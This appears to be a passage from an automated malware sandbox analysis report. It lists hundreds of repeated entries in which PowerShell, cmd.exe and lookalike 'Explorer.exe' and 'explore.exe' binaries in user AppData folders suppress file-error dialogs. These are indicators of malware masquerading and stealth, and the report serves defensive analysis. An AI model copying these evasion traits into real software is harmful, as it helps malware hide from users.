Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\explore.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
